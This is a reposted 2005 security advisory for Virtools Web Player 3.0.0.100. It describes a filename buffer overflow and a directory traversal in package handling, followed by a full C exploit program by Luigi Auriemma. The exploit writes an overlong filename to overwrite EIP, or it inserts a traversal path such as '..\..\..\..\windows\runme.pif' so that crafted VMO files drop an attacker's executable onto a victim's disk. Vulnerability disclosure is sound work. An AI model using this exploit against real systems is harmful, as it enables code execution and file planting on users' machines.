Ads

Virtools Web PlayerMultiple Vulnerabilities (Buffer-Overflow, Directory Traversal) PDF Print E-mail
Saturday, 08 October 2005
Summary
"Virtools is a set of applications for creating games, demos, CAD, simulations and other multimedia stuff."

Virtools does not validate filenames and their length, allowing local attackers to execute arbitrary code using a buffer overflow and a directory traversal vulnerabilities.

Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/virtbugs-adv.txt

Details
Vulnerable Systems:
* Virtools version 3.0.0.100

Immune Systems:
* Virtools version 3.0.0.101

Buffer Overflow:
Exists a buffer-overflow bug which happens during the handling of the names of the files contained in the Virtools packages. A filename of at least 262 bytes overwrites the EIP register allowing possible execution of malicious code.

Directory Traversal:
The plugins files stored in a temporary directory and if already exist files with the same names they are fully overwritten. The problem here is that there are no checks on the filenames so the usage of the classical ".." patterns allows an attacker to overwrite any file in the disk where is located the system temp folder (usually c:).

Exploit:
/*

by Luigi Auriemma

*/

#include
#include
#include
#include

#ifdef WIN32
#include

typedef unsigned char u_char;
typedef unsigned int u_int;
#define ftruncate chsize
#else
#include
#include
#endif

#define VER "0.1"
#define SIGN "Nemo"
#define FILE1 "components"
#define FILE2 "objects"
#define FMT "%-10u"
#define EIP "xdexc0xadxde"
#define BOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aa" EIP
#define BOFFILE "Nemo il pesce scemo"

u_int putfile(FILE *fdout, char *fname);
void std_err(void);

struct {
u_char sign[4];
u_int unknown1; // 0x694620
u_int crc; // ???
u_int unknown2; // big-endian sdk version?
u_int plugin1;
u_int plugin2;
u_int unknown3; // 12
u_int compcsz;
u_int objcsz;
u_int objsz;
u_int addpath; // ???
u_int components;
u_int objects;
u_int zero; // ???
u_int version;
u_int compsz;
} vmo;

int main(int argc, char *argv[]) {
FILE *fd;
u_int i,
len,
off;
int attack;
u_char fname[512],
*vmofile,
*addfile,
*addpath;

setbuf(stdout, NULL);

fputs(" "
"Virtools <= 3.0.0.100 buffer-overflow and directory traversal bugs "VER" "
"by Luigi Auriemma "
"e-mail: This email address is being protected from spam bots, you need Javascript enabled to view it "
"web: http://aluigi.altervista.org "
" ", stdout);

if(argc < 3) {
printf(" "
"Usage: %s "
" "
"Attack: "
" 1 = buffer-overflow "
" 2 = directory traversal, is needed to specify also the file to add and the "
" special path for exploiting the bug "
" "
"Example: virtbugs 1 tintoys.vmo "
"Example: virtbugs 2 tintoys.vmo malicious.exe ..\..\..\..\windows\runme.pif "
"Note: will be replaced only the latest file in the package "
"Note: if you need a quick VMO file use the following: "
" http://www.virtools.com/downloads/vmo/Tintoys/tintoys.vmo"
" ", argv[0]);
exit(1);
}

attack = atoi(argv[1]);
vmofile = argv[2];

if((attack != 1) && (attack != 2)) {
fputs(" Error: wrong attack number chosen ", stdout);
exit(1);
}

printf("- open VMO file: %s ", vmofile);
fd = fopen(vmofile, "r+b");
if(!fd) std_err();

if(!fread(&vmo, sizeof(vmo), 1, fd)) std_err();
off = ftell(fd);

if(memcmp(vmo.sign, SIGN, sizeof(vmo.sign))) {
printf("- file seems invalid, its sign is: %.*s ",
sizeof(vmo.sign), vmo.sign);
}

printf(
" Informations and files list: "
"- components: %u "
"- objects: %u "
"- version: %hhu.%hhu.%hhu.%hhu "
" ",
vmo.components,
vmo.objects,
(vmo.version >> 24) & 0xff, (vmo.version >> 16) & 0xff,
(vmo.version >> 8) & 0xff, vmo.version & 0xff);

fputs(
" inSize outSize Filename "
" ------------------------------ ", stdout);

printf(" "FMT" "FMT" %s ", vmo.compcsz, vmo.compsz, FILE1);
printf(" "FMT" "FMT" %s ", vmo.objcsz, vmo.objsz, FILE2);
if(fseek(fd, off + vmo.compcsz + vmo.objcsz, SEEK_SET) < 0) std_err();

for(i = 2; ; i++) {
if(!fread(&len, 4, 1, fd)) break;
off = ftell(fd) - 4;
if(!fread(fname, len, 1, fd)) break;

if(len > (sizeof(fname) - 1)) break; // checks
fname[len] = 0;
if(!*fname) break;

if(!fread(&len, 4, 1, fd)) break;
printf(" "FMT" %s ", len, fname);

if(fseek(fd, len, SEEK_CUR) < 0) std_err();
}

if(i <= 2) {
fputs(" "
"Error: your VMO file doesnt contain additional files so cannot be modified "
" try with another "
" ", stdout);
exit(1);
}

fseek(fd, off, SEEK_SET);

if(attack == 1) {
fputs(" - buffer-overflow bug exploitation ", stdout);
len = sizeof(BOF) - 1;
fwrite(&len, 4, 1, fd);
fwrite(BOF, len, 1, fd);

len = sizeof(BOFFILE) - 1;
fwrite(&len, 4, 1, fd);
fwrite(BOFFILE, len, 1, fd);

} else if(attack == 2) {
fputs(" - directory traversal bug exploitation ", stdout);
if(argc < 5) {
fputs(" Error: you must specify also and ", stdout);
exit(1);
}
addfile = argv[3];
addpath = argv[4];

len = strlen(addpath);
fwrite(&len, 4, 1, fd);
fwrite(addpath, len, 1, fd);

len = putfile(fd, addfile);
}

fflush(fd);
if(ftruncate(fileno(fd), ftell(fd)) < 0) std_err();
fflush(fd);
fclose(fd);
printf("- added a file of %u bytes ", len);
return(0);
}

u_int putfile(FILE *fdout, char *fname) {
struct stat xstat;
FILE *fdin;
u_int len,
tot = 0;
u_char buff[1024];

fdin = fopen(fname, "rb");
if(!fdin) std_err();
fstat(fileno(fdin), &xstat);

fwrite(&xstat.st_size, 4, 1, fdout);

while((len = fread(buff, 1, sizeof(buff), fdin))) {
fwrite(buff, len, 1, fdout);
tot += len;
}

fclose(fdin);
return(tot);
}

void std_err(void) {
perror(" Error");
exit(1);
}

/* EoF */
 
< Prev   Next >